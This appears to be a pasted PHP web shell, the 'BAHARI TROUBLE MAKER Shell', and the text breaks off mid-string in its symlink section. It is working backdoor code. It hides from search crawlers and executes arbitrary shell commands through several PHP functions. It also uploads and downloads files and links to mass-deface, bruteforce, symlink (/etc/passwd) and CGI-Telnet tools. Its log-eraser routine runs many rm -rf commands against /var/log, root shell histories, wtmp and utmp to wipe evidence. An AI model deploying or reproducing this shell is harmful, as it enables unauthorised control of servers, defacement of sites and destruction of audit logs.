PalmaSolutions

ea.php

Jan 1st, 2018
322
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 354.89 KB | None | 0 0
  1. <?php
  2. /*BAHARI TROUBLE MAKER Shell
  3. BTM SHELL v1.0*/
  4. session_start();
  5. error_reporting(0);
  6. set_time_limit(0);
  7. @set_magic_quotes_runtime(0);
  8. @clearstatcache();
  9. @ini_set('error_log',NULL);
  10. @ini_set('log_errors',0);
  11. @ini_set('max_execution_time',0);
  12. @ini_set('output_buffering',0);
  13. @ini_set('display_errors', 0);
  14.  
  15. $auth_pass = "15ef0ee43032ec645b40f84193c045b5"; // default: asu
  16. $color = "#00ff00";
  17. $default_action = 'FilesMan';
  18. $default_use_ajax = true;
  19. $default_charset = 'UTF-8';
  20. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  21. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  22. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  23. header('HTTP/1.0 404 Not Found');
  24. exit;
  25. }
  26. }
  27.  
  28. function login_shell() {
  29. ?>
  30. <html>
  31. <head>
  32. <title>BAHARI TROUBLE MAKER</title>
  33. <meta name='author' content='BAHARI TROUBLE MAKER'>
  34. <meta charset="UTF-8">
  35. <style type='text/css'>
  36. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  37. html {
  38. background-color: black;
  39. min-height: 100%;
  40. background-repeat: no-repeat;
  41. background-attachment: fixed;
  42. background-position: center;
  43. background-size: cover;
  44. color: #ffffff;
  45. font-family: 'Ubuntu';
  46. font-size: 13px;
  47. width: 100%;
  48. padding: 0px;
  49. -moz-border-radius: 5px;
  50. -webkit-border-radius: 5px;
  51. border-radius: 5px;
  52. }
  53. li {
  54. display: inline;
  55. margin: 5px;
  56. padding: 5px;
  57. -moz-border-radius: 5px;
  58. -webkit-border-radius: 5px;
  59. border-radius: 5px;
  60. }
  61.  
  62.  
  63.  
  64. a {
  65. padding: 1px;
  66. border: 1px solid white;
  67. color: green;
  68. text-decoration:
  69. none;color: white;
  70. font-size:14px;
  71. }
  72.  
  73. a:hover {
  74. color: purple;
  75. text-decoration: underline;
  76. }
  77.  
  78. b {
  79. color: purple;
  80.  
  81. }
  82. input[type=text], input[type=password],input[type=submit] {
  83. background: transparent;
  84. overflow: hidden;
  85. color: black;
  86. border: 1px solid black;
  87. margin: 5px auto;
  88. padding-left: 5px;
  89. font-family: 'Ubuntu';
  90. font-size: 13px;
  91. -moz-border-radius: 5px;
  92. -webkit-border-radius: 5px;
  93. border-radius: 5px;
  94. position:relative;
  95. bottom:75px; left:300pt;
  96. }
  97.  
  98. </style>
  99. </head>
  100. <script> function myFunction() {alert("Login SU..!!"); }</script>
  101. <br><br><br>
  102. </form><center><ul>
  103. <li> <a href="" onclick="myFunction()">&nbsp;Home&nbsp;</a> </li>
  104. <li> <a href="" onclick="myFunction()">&nbsp;Server Infos&nbsp;</a> </li>
  105. </li><li> <a href="" onclick="myFunction()">&nbsp;Mass Deface&nbsp;</a> </li>
  106. <li> <a href="" onclick="myFunction()">&nbsp;Bypass&nbsp;</a> </li>
  107. <li> <a href="" onclick="myFunction()">&nbsp;Config&nbsp;</a> </li>
  108. <li> <a href="" onclick="myFunction()">&nbsp;Jumping&nbsp;</a> </li>
  109. <li> <a href="" onclick="myFunction()">&nbsp;Bruteforce&nbsp;</a> </li>
  110. <li> <a href="" onclick="myFunction()">&nbsp;CGI-Telnet&nbsp;</a> </li>
  111. <li> <a href="" onclick="myFunction()">&nbsp;Poster&nbsp;</a> </li>
  112. <li> <a style='color: red;' href='http://watch8x.com/'>&nbsp;Login&nbsp;</a> </li></ul>
  113. </center><hr>
  114. <br><br><font color="#006600" size="3pt">Jingklong </font> <font color="#b0b000" size="3pt">-</font> <font color="#009900" size="3pt">BAHARI TROUBLE MAKER</font><br><br>
  115. <font color="#00aa00" size="3pt">BAHARI TROUBLE MAKER Shell </font>
  116. <font color="#006600" size="3pt">Recoded dari beberapa tool orang untuk membuat shell ini..</font><br><br>
  117. <font color="#006600" size="3pt">Terima Kasih dan maaf untuk shell/tool yang sudah kami ambil/recoded <font color="red" size="6pt">Aso lo Pencurry >:(</font>
  118. <br>Shell ini dibuat semata2 untuk memudahkan kami melalukan aktivitas sebagai hekerz.. lol..<br>
  119. "yen ono seng salah yo tulong dibenerke, tapi yen bener yo ojo disalahke.. kan iso sinau bareng.. wkkwk.." -Kata2 Seseorang :v</font><br><br><br><br><br><br><br>
  120. <font color="#006600" size="3pt">Special thankz to : </font><br><font color="pink">Denita :*</font> - All Members BAHARI TROUBLE MAKER<br><br><br><br><font color="#006600" size="3pt">thankz to : </font><br>
  121. AnonGhost - IDB-Team - DM - IndoXploit - dan lainnya :v (<font color="purple">Maaf yah dah ambil toolznya :"v</font>) <br><br>
  122. <link href='http://fonts.googleapis.com/css?family=Give+You+Glory' rel='stylesheet' type='text/css'>
  123. </center></span><footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:right;">
  124. <font color="purple" size="3" face="Give You Glory">&copy; BAHARI TROUBLE MAKER Shell 2017</font></footer>
  125.  
  126. <form method="post">
  127. <input type="password" name="pass">
  128. </form>
  129. <?php
  130. exit;
  131. }
  132. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  133. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  134. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  135. else
  136. login_shell();
  137. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  138. @ob_clean();
  139. $file = $_GET['file'];
  140. header('Content-Description: File Transfer');
  141. header('Content-Type: application/octet-stream');
  142. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  143. header('Expires: 0');
  144. header('Cache-Control: must-revalidate');
  145. header('Pragma: public');
  146. header('Content-Length: ' . filesize($file));
  147. readfile($file);
  148. exit;
  149. }
  150. ?>
  151. <html>
  152. <head>
  153. <title>BAHARI TROUBLE MAKER</title>
  154. <meta name='author' content='BAHARI TROUBLE MAKER'>
  155. <meta charset="UTF-8">
  156. <style type='text/css'>
  157. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  158. #menu{
  159. padding:10px;
  160. border:1px solid #04BA4C;
  161. }
  162. #menu a{
  163. color:black;
  164. background:#04BA4C;
  165. padding:5px;
  166. margin:0;
  167. text-decoration:none;
  168.  
  169. }
  170. #menu a:hover{
  171. text-decoration:underline;
  172. }
  173. html {
  174. min-height: 100%;
  175. background-color: black;
  176. color: white;
  177. font-family: 'Ubuntu';
  178. font-size: 12px;
  179. width: 100%;
  180. padding: 0px;
  181. -moz-border-radius: 5px;
  182. -webkit-border-radius: 5px;
  183. border-radius: 5px;
  184. }
  185. li {
  186. display: inline;
  187. margin: 5px;
  188. padding: 5px;
  189. -moz-border-radius: 5px;
  190. -webkit-border-radius: 5px;
  191. border-radius: 5px;
  192. }
  193. table, th, td {
  194. border-collapse:collapse;
  195. font-family: Tahoma, Geneva, sans-serif;
  196. background: transparent;
  197. font-family: 'Ubuntu';
  198. font-size: 13px;
  199. -moz-border-radius: 5px;
  200. -webkit-border-radius: 5px;
  201. border-radius: 5px;
  202. }
  203. .table_home, .th_home, .td_home {
  204. border: 1px solid #ffffff;
  205. -moz-border-radius: 5px;
  206. -webkit-border-radius: 5px;
  207. border-radius: 5px;
  208. }
  209. th {
  210. padding: 10px;
  211. }
  212. a {
  213. color: #ffffff;
  214. text-decoration: none;
  215. }
  216. b {
  217. padding: 1px;
  218. color: green;
  219. text-decoration:
  220. none;color: white;
  221. font-size:14px;
  222. }
  223. a:hover {
  224. color: purple;
  225. text-decoration: underline;
  226. }
  227. tr:hover {
  228. background: #04BA4C;
  229. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  230. color: #FFFFFF; TEXT-DECORATION: none;
  231. }
  232.  
  233. input[type=text], input[type=password],input[type=submit] {
  234. background: transparent;
  235. overflow: hidden;
  236. color: #ffffff;
  237. border: 1px solid #ffffff;
  238. margin: 5px auto;
  239. padding-left: 5px;
  240. font-family: 'Ubuntu';
  241. font-size: 13px;
  242. -moz-border-radius: 5px;
  243. -webkit-border-radius: 5px;
  244. border-radius: 5px;
  245. }
  246. textarea {
  247. overflow: hidden;
  248. border: 1px solid #ffffff;
  249. width: 100%;
  250. height: 400px;
  251. padding-left: 5px;
  252. margin: 10px auto;
  253. resize: none;
  254. background: transparent;
  255. color: #ffffff;
  256. font-family: 'Ubuntu';
  257. font-size: 13px;
  258. -moz-border-radius: 5px;
  259. -webkit-border-radius: 5px;
  260. border-radius: 5px;
  261. }
  262. a:focus, input:focus, textarea:focus {
  263. outline: 0;
  264. border-color: rgba(82, 168, 236, 0.8);
  265. -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  266. -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  267. box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  268.  
  269. select {
  270. width: 152px;
  271. background: #000000;
  272. color: lime;
  273. border: 1px solid #ffffff;
  274. margin: 5px auto;
  275. padding-left: 5px;
  276. font-family: 'Ubuntu';
  277. font-size: 13px;
  278. -moz-border-radius: 5px;
  279. -webkit-border-radius: 5px;
  280. border-radius: 5px;
  281. }
  282. option:hover {
  283. background: lime;
  284. color: #000000;
  285. }
  286.  
  287. </style>
  288. </head>
  289. <?php
  290. function w($dir,$perm) {
  291. if(!is_writable($dir)) {
  292. return "<font color=red>".$perm."</font>";
  293. } else {
  294. return "<font color=lime>".$perm."</font>";
  295. }
  296. }
  297. function r($dir,$perm) {
  298. if(!is_readable($dir)) {
  299. return "<font color=red>".$perm."</font>";
  300. } else {
  301. return "<font color=lime>".$perm."</font>";
  302. }
  303. }
  304. function exe($cmd) {
  305. if(function_exists('system')) {
  306. @ob_start();
  307. @system($cmd);
  308. $buff = @ob_get_contents();
  309. @ob_end_clean();
  310. return $buff;
  311. } elseif(function_exists('exec')) {
  312. @exec($cmd,$results);
  313. $buff = "";
  314. foreach($results as $result) {
  315. $buff .= $result;
  316. } return $buff;
  317. } elseif(function_exists('passthru')) {
  318. @ob_start();
  319. @passthru($cmd);
  320. $buff = @ob_get_contents();
  321. @ob_end_clean();
  322. return $buff;
  323. } elseif(function_exists('shell_exec')) {
  324. $buff = @shell_exec($cmd);
  325. return $buff;
  326. }
  327. }
  328. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  329. $ar0=explode($marqueurDebutLien, $text);
  330. $ar1=explode($marqueurFinLien, $ar0[$i]);
  331. return trim($ar1[0]);
  332. }
  333. function perms($file){
  334. $perms = fileperms($file);
  335. if (($perms & 0xC000) == 0xC000) {
  336. // Socket
  337. $info = 's';
  338. } elseif (($perms & 0xA000) == 0xA000) {
  339. // Symbolic Link
  340. $info = 'l';
  341. } elseif (($perms & 0x8000) == 0x8000) {
  342. // Regular
  343. $info = '-';
  344. } elseif (($perms & 0x6000) == 0x6000) {
  345. // Block special
  346. $info = 'b';
  347. } elseif (($perms & 0x4000) == 0x4000) {
  348. // Directory
  349. $info = 'd';
  350. } elseif (($perms & 0x2000) == 0x2000) {
  351. // Character special
  352. $info = 'c';
  353. } elseif (($perms & 0x1000) == 0x1000) {
  354. // FIFO pipe
  355. $info = 'p';
  356. } else {
  357. // Unknown
  358. $info = 'u';
  359. }
  360. // Owner
  361. $info .= (($perms & 0x0100) ? 'r' : '-');
  362. $info .= (($perms & 0x0080) ? 'w' : '-');
  363. $info .= (($perms & 0x0040) ?
  364. (($perms & 0x0800) ? 's' : 'x' ) :
  365. (($perms & 0x0800) ? 'S' : '-'));
  366. // Group
  367. $info .= (($perms & 0x0020) ? 'r' : '-');
  368. $info .= (($perms & 0x0010) ? 'w' : '-');
  369. $info .= (($perms & 0x0008) ?
  370. (($perms & 0x0400) ? 's' : 'x' ) :
  371. (($perms & 0x0400) ? 'S' : '-'));
  372. // World
  373. $info .= (($perms & 0x0004) ? 'r' : '-');
  374. $info .= (($perms & 0x0002) ? 'w' : '-');
  375. $info .= (($perms & 0x0001) ?
  376. (($perms & 0x0200) ? 't' : 'x' ) :
  377. (($perms & 0x0200) ? 'T' : '-'));
  378. return $info;
  379. }
  380. function hdd($s) {
  381. if($s >= 1073741824)
  382. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  383. elseif($s >= 1048576)
  384. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  385. elseif($s >= 1024)
  386. return sprintf('%1.2f',$s / 1024 ) .' KB';
  387. else
  388. return $s .' B';
  389. }
  390. function findit($mytext,$starttag,$endtag) {
  391. $posLeft = stripos($mytext,$starttag)+strlen($starttag);
  392. $posRight = stripos($mytext,$endtag,$posLeft+1);
  393. return substr($mytext,$posLeft,$posRight-$posLeft);
  394. }
  395. function ambilKata($param, $kata1, $kata2){
  396. if(strpos($param, $kata1) === FALSE) return FALSE;
  397. if(strpos($param, $kata2) === FALSE) return FALSE;
  398. $start = strpos($param, $kata1) + strlen($kata1);
  399. $end = strpos($param, $kata2, $start);
  400. $return = substr($param, $start, $end - $start);
  401. return $return;
  402. }
  403. function getsource($url) {
  404. $curl = curl_init($url);
  405. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  406. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  407. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  408. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
  409. $content = curl_exec($curl);
  410. curl_close($curl);
  411. return $content;
  412. }
  413. function bing($dork) {
  414. $npage = 1;
  415. $npages = 30000;
  416. $allLinks = array();
  417. $lll = array();
  418. while($npage <= $npages) {
  419. $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
  420. if($x) {
  421. preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  422. foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  423. $npage = $npage + 10;
  424. if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  425. } else break;
  426. }
  427. $URLs = array();
  428. foreach($allLinks as $url){
  429. $exp = explode("/", $url);
  430. $URLs[] = $exp[2];
  431. }
  432. $array = array_filter($URLs);
  433. $array = array_unique($array);
  434. $sss = count(array_unique($array));
  435. foreach($array as $domain) {
  436. echo $domain."\n";
  437. }
  438. }
  439. function reverse($url) {
  440. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  441. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  442. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  443. curl_setopt($ch, CURLOPT_HEADER, 0);
  444. curl_setopt($ch, CURLOPT_POST, 1);
  445. $resp = curl_exec($ch);
  446. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  447. $array = explode(",,", $resp);
  448. unset($array[0]);
  449. foreach($array as $lnk) {
  450. $lnk = "http://$lnk";
  451. $lnk = str_replace(",", "", $lnk);
  452. echo $lnk."\n";
  453. ob_flush();
  454. flush();
  455. }
  456. curl_close($ch);
  457. }
  458. if(get_magic_quotes_gpc()) {
  459. function idx_ss($array) {
  460. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  461. }
  462. $_POST = idx_ss($_POST);
  463. $_COOKIE = idx_ss($_COOKIE);
  464. }
  465.  
  466. if(isset($_GET['dir'])) {
  467. $dir = $_GET['dir'];
  468. chdir($dir);
  469. } else {
  470. $dir = getcwd();
  471. }
  472. $kernel = php_uname();
  473. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  474. $dir = str_replace("\\","/",$dir);
  475. $scdir = explode("/", $dir);
  476. $freespace = hdd(disk_free_space("/"));
  477. $total = hdd(disk_total_space("/"));
  478. $used = $total - $freespace;
  479. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  480. $ds = @ini_get("disable_functions");
  481. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>MYSQL</font>" : "<font color=red>MYSQL</font>";
  482. $curl = (function_exists('curl_version')) ? "<font color=lime>CURL</font>" : "<font color=red>CURL</font>";
  483. $wget = (exe('wget --help')) ? "<font color=lime>WGET</font>" : "<font color=red>WGET</font>";
  484. $perl = (exe('perl --help')) ? "<font color=lime>PERL</font>" : "<font color=red>PERL</font>";
  485. $python = (exe('python --help')) ? "<font color=lime>PYTHON</font>" : "<font color=red>PYTHON</font>";
  486. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  487. if(!function_exists('posix_getegid')) {
  488. $user = @get_current_user();
  489. $uid = @getmyuid();
  490. $gid = @getmygid();
  491. $group = "?";
  492. } else {
  493. $uid = @posix_getpwuid(posix_geteuid());
  494. $gid = @posix_getgrgid(posix_getegid());
  495. $user = $uid['name'];
  496. $uid = $uid['uid'];
  497. $group = $gid['name'];
  498. $gid = $gid['gid'];
  499. }
  500. echo "<font color=lime>".$kernel."</font><br>";
  501. echo "<font color=lime>".$user."</font> (".$uid.")-<font color=lime>".$group."</font> (".$gid.") | <font color=lime>".$ip. "</font>
  502. <a href='http://bing.com/search?q=ip:".$ip."&go=&form=QBLH&filt=all' target=\"_blank\"><font color='lime'>[ Bing Search ]</font></a> <a href='http://zone-h.com/archive/ip=".$ip."' target=\"_blank\"><font color='lime'>[ Zone-H ]</font></a><br>";
  503. echo "<font color=lime>Used $used</font> of <font color=lime>$total</font> ( Free: <font color=lime>$freespace</font> )<br>";
  504. echo "<font color=lime>Safe Mode: $sm | </font>";
  505. echo "<font color=lime>Disable Functions</font>: $show_ds<br>";
  506. echo "| $mysql | $perl| $python | $wget | $curl |<br>";
  507. echo "Current DIR: ";
  508. foreach($scdir as $c_dir => $cdir) {
  509. echo "<a href='?dir=";
  510. for($i = 0; $i <= $c_dir; $i++) {
  511. echo $scdir[$i];
  512. if($i != $c_dir) {
  513. echo "/";
  514. }
  515. }
  516. echo "'>$cdir</a>/";
  517. }
  518. echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]<br>";
  519. echo "<form method='post'>
  520. <font style='text-decoration: none;'> ~ $ </font>
  521. <input type='text' size='20' height='10' name='cmd'><input type='submit' name='do_cmd' value='X'>
  522. </form>";
  523. if($_POST['do_cmd']) {
  524. echo "<pre>".exe($_POST['cmd'])."</pre>";
  525. }
  526. if($_POST['upload']) {
  527. if($_POST['tipe_upload'] == 'biasa') {
  528. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  529. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  530. } else {
  531. $act = "<font color=red>failed to upload file</font>";
  532. }
  533. } else {
  534. $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  535. $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  536. if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  537. if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  538. $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  539. } else {
  540. $act = "<font color=red>failed to upload file</font>";
  541. }
  542. } else {
  543. $act = "<font color=red>failed to upload file</font>";
  544. }
  545. }
  546. }
  547. echo "
  548. <form method='post' enctype='multipart/form-data'>
  549. <input type='radio' name='tipe_upload' value='biasa' checked> ".w($dir,"Current")."
  550. <input type='radio' name='tipe_upload' value='home_root'> ".w($_SERVER['DOCUMENT_ROOT'],"Home")."
  551. <input type='file' name='ix_file'>
  552. <input type='submit' value='upload' name='upload'>
  553. </form>";
  554. echo $act;
  555.  
  556.  
  557. echo"<div id='menu'>";
  558. echo "<center>";
  559. echo "<a href='?'>Home&nbsp;</a> ";
  560. echo "<a href='?dir=$dir&do=server'>Server Infos</a> ";
  561. echo "<a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ";
  562. echo "<a href='?dir=$dir&do=baipas'>Bypass</a> ";
  563. echo "<a href='?dir=$dir&do=tconf'>Config</a> ";
  564. echo "<a href='?dir=$dir&do=symlink'>Symlink</a><br><br> ";
  565. echo "<a href='?dir=$dir&do=jumping'>Jumping</a> ";
  566. echo "<a href='?dir=$dir&do=aeu'>Auto Edit User</a> ";
  567. echo "<a href='?dir=$dir&do=brut'>Bruteforce</a> ";
  568. echo "<a href='?dir=$dir&do=cgi'>CGI-Telnet</a> ";
  569. echo "<a href='?dir=$dir&do=adminer'>Adminer</a> ";
  570. echo "<a href='?dir=$dir&do=zoneh'>Zone-H</a> ";
  571. echo "<a href='?dir=$dir&do=tool'>Tools</a> ";
  572. echo "<a href='?dir=$dir&do=nyungseb'>Delete Logs</a> ";
  573. echo "<a style='color: red;' href='?dir=$dir&do=modar'>Kill Shell</a> ";
  574. echo "<a style='color: red;' href='?logout=true'>Logout</a> ";
  575. echo "</center>";
  576. echo "</div>";
  577. echo "<br>";
  578.  
  579. if($_GET['logout'] == true) {
  580. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  581. echo "<script>window.location='?';</script>";
  582.  
  583. }
  584. elseif($_GET['do'] == 'modar') {
  585. $file = $_SERVER['PHP_SELF'];
  586. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  587. die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>Wes Kehapus :"</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
  588. else
  589. echo '<font color="#fff600" size="2pt">unlink error!</font>';
  590. }
  591. elseif($_GET['do'] == 'nyungseb') {
  592. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Logs Eraser</span><center><br>';
  593. //exec function madafuck !
  594. echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
  595. exec("rm -rf /tmp/logs");
  596. exec("rm -rf /root/.ksh_history");
  597. exec("rm -rf /root/.bash_history");
  598. exec("rm -rf /root/.bash_logout");
  599. exec("rm -rf /usr/local/apache/logs");
  600. exec("rm -rf /usr/local/apache/log");
  601. exec("rm -rf /var/apache/logs");
  602. exec("rm -rf /var/apache/log");
  603. exec("rm -rf /var/run/utmp");
  604. exec("rm -rf /var/logs");
  605. exec("rm -rf /var/log");
  606. exec("rm -rf /var/adm");
  607. exec("rm -rf /etc/wtmp");
  608. exec("rm -rf /etc/utmp");
  609. exec("rm -rf $HISTFILE");
  610. exec("rm -rf /var/log/lastlog");
  611. exec("rm -rf /var/log/wtmp");
  612.  
  613. //shell_exec function madafuck !
  614. shell_exec("rm -rf /tmp/logs");
  615. shell_exec("rm -rf /root/.ksh_history");
  616. shell_exec("rm -rf /root/.bash_history");
  617. shell_exec("rm -rf /root/.bash_logout");
  618. shell_exec("rm -rf /usr/local/apache/logs");
  619. shell_exec("rm -rf /usr/local/apache/log");
  620. shell_exec("rm -rf /var/apache/logs");
  621. shell_exec("rm -rf /var/apache/log");
  622. shell_exec("rm -rf /var/run/utmp");
  623. shell_exec("rm -rf /var/logs");
  624. shell_exec("rm -rf /var/log");
  625. shell_exec("rm -rf /var/adm");
  626. shell_exec("rm -rf /etc/wtmp");
  627. shell_exec("rm -rf /etc/utmp");
  628. shell_exec("rm -rf $HISTFILE");
  629. shell_exec("rm -rf /var/log/lastlog");
  630. shell_exec("rm -rf /var/log/wtmp");
  631.  
  632. //passthru function madafuck !
  633. passthru("rm -rf /tmp/logs");
  634. passthru("rm -rf /root/.ksh_history");
  635. passthru("rm -rf /root/.bash_history");
  636. passthru("rm -rf /root/.bash_logout");
  637. passthru("rm -rf /usr/local/apache/logs");
  638. passthru("rm -rf /usr/local/apache/log");
  639. passthru("rm -rf /var/apache/logs");
  640. passthru("rm -rf /var/apache/log");
  641. passthru("rm -rf /var/run/utmp");
  642. passthru("rm -rf /var/logs");
  643. passthru("rm -rf /var/log");
  644. passthru("rm -rf /var/adm");
  645. passthru("rm -rf /etc/wtmp");
  646. passthru("rm -rf /etc/utmp");
  647. passthru("rm -rf $HISTFILE");
  648. passthru("rm -rf /var/log/lastlog");
  649. passthru("rm -rf /var/log/wtmp");
  650.  
  651.  
  652. //Let the Mother of Functions To Complete The Task wkwkwkw xD!
  653. system("rm -rf /tmp/logs");
  654. sleep(2);
  655. echo'<br><font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Deleted [+].../tmp/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif>';
  656. sleep(2);
  657.  
  658. system("rm -rf /root/.bash_history");
  659. sleep(2);
  660. echo'<p>Deleted [+].../root/.bash_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  661.  
  662. system("rm -rf /root/.ksh_history");
  663. sleep(2);
  664. echo'<p>Deleted [+].../root/.ksh_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  665.  
  666. system("rm -rf /root/.bash_logout");
  667. sleep(2);
  668. echo'<p>Deleted [+].../root/.bash_logout <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  669.  
  670. system("rm -rf /usr/local/apache/logs");
  671. sleep(2);
  672. echo'<p>Deleted [+].../usr/local/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  673.  
  674. system("rm -rf /usr/local/apache/log");
  675. sleep(2);
  676. echo'<p>Deleted [+].../usr/local/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  677.  
  678. system("rm -rf /var/apache/logs");
  679. sleep(2);
  680. echo'<p>Deleted [+].../var/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  681.  
  682. system("rm -rf /var/apache/log");
  683. sleep(2);
  684. echo'<p>Deleted [+].../var/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  685.  
  686. system("rm -rf /var/run/utmp");
  687. sleep(2);
  688. echo'<p>Deleted [+].../var/run/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  689.  
  690. system("rm -rf /var/logs");
  691. sleep(2);
  692. echo'<p>Deleted [+].../var/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  693.  
  694. system("rm -rf /var/log");
  695. sleep(2);
  696. echo'<p>Deleted [+].../var/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  697.  
  698. system("rm -rf /var/adm");
  699. sleep(2);
  700. echo'<p>Deleted [+].../var/adm <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  701.  
  702. system("rm -rf /etc/wtmp");
  703. sleep(2);
  704. echo'<p>Deleted [+].../etc/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  705.  
  706. system("rm -rf /etc/utmp");
  707. sleep(2);
  708. echo'<p>Deleted [+].../etc/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  709.  
  710. system("rm -rf $HISTFILE");
  711. sleep(2);
  712. echo'<p>Deleted [+]...$HISTFILE <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  713.  
  714. system("rm -rf /var/log/lastlog");
  715. sleep(2);
  716. echo'<p>Deleted [+].../var/log/lastlog <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  717.  
  718. system("rm -rf /var/log/wtmp");
  719. sleep(2);
  720. echo'<p>Deleted [+].../var/log/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
  721.  
  722. sleep(4);
  723.  
  724. echo '</font><br><br><p><font color="00bb00" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Your Traces Has Been Successfully Erased From the Server';
  725. echo"</td></tr></table>";
  726.  
  727. }
  728. elseif($_GET['do'] == 'symlink') {
  729. echo "<center>";
  730. echo "<ul>";
  731. echo "<li> <a href='?dir=$dir&do=sym1'>/var/named Symlink</a> </li>";
  732. echo "<li> <a href='?dir=$dir&do=sym2'>/etc/passwd Symlink</a> </li>";
  733. echo "<li> <a href='?dir=$dir&do=manjat'>/etc/named.conf Symlink</a> </li>";
  734. echo "</ul>";
  735. echo "</center>";
  736. }
  737. elseif($_GET['do'] == 'sym3') {
  738. echo "<center>";
  739. echo "<ul>";
  740. echo "<li> <a href='?dir=$dir&do=sym1'>/var/named Symlink</a> </li>";
  741. echo "<li> <a href='?dir=$dir&do=sym2'>/etc/passwd Symlink</a> </li>";
  742. echo "<li> <a href='?dir=$dir&do=sym3'>/etc/named.conf Symlink</a> </li>";
  743. echo "</ul>";
  744. echo "</center>";
  745. if ($win) {
  746. echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
  747. }
  748. @mkdir('btm3sym', 0777);
  749. $sempak = "Options all
  750.  
  751. DirectoryIndex btm.html
  752.  
  753. AddType text/plain .php
  754.  
